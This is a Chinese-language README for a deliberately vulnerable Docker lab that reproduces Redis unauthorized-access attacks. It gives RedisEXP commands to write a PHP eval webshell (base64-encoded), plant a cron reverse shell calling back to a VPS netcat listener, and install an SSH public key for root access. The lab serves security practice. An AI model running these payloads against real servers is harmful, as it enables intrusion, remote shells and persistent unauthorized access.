基于docker的redis未授权访问漏洞复现环境,用于复现 redis写计划任务、redis写webshell、redis写ssh公钥
你是否遇到过这样的烦恼:
- redis未授权访问漏洞复现困难,dockerhub中的redis镜像仅有redis服务
- 因为ubuntu的限制,redis无法写计划任务反弹shell
- 复现redis写计划任务、redis写webshell、redis写ssh公钥需要分别搭建虚拟机,并安装相应服务
redis-unauth-hub
帮你解决
- 下载/克隆 仓库到本地
git clone https://github.com/ajisai-babu/redis-unauth-hub
- 构建docker镜像
docker build -t redis-unauth-hub .
- 开启容器
docker run --restart always -d -p 10081:80 -p 10022:22 -p 16379:6379 --name redishub redis-unauth-hub
备注:镜像默认开启了 22 、80、6379 端口,可以使用如下命令查看
docker inspect redis-unauth-hub
docker pull yanglisianthus/redis-unauth-hub
docker run --restart always -d -p 10081:80 -p 10022:22 -p 16379:6379 --name redishub yanglisianthus/redis-unauth-hub
下列复现均是在本地(Kali Linux)搭建的docker环境
推荐工具 : https://github.com/yuyan-sec/RedisEXP
- 写webshell:
./RedisEXP -m shell -r 127.0.0.1 -p 16379 -rp /var/www/html -rf shell.php -s PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7Pz4= -b
访问 http://127.0.0.1:10081/shell.php?cmd=phpinfo();
- 写计划任务:
VPS服务器开启监听
nc -lvnp 9001
./RedisEXP -m cron -r 127.0.0.1 -p 16379 -L VPS服务器IP地址 -P 9001
- 写ssh公钥
./RedisEXP -m ssh -r 127.0.0.1 -p 16379 -u root -s "自己替换公钥字符串"
连接
ssh root@127.0.0.1 -p10022 -i id_rsa
本仓库提供的redis版本为3.2.11,没有主从复制功能 复现主从复制只需要拉取一个redis 4.x 或 5.x 版本的镜像即可复现,无需其他服务,如
docker run -p 6379:6379 -d damonevking/redis5.0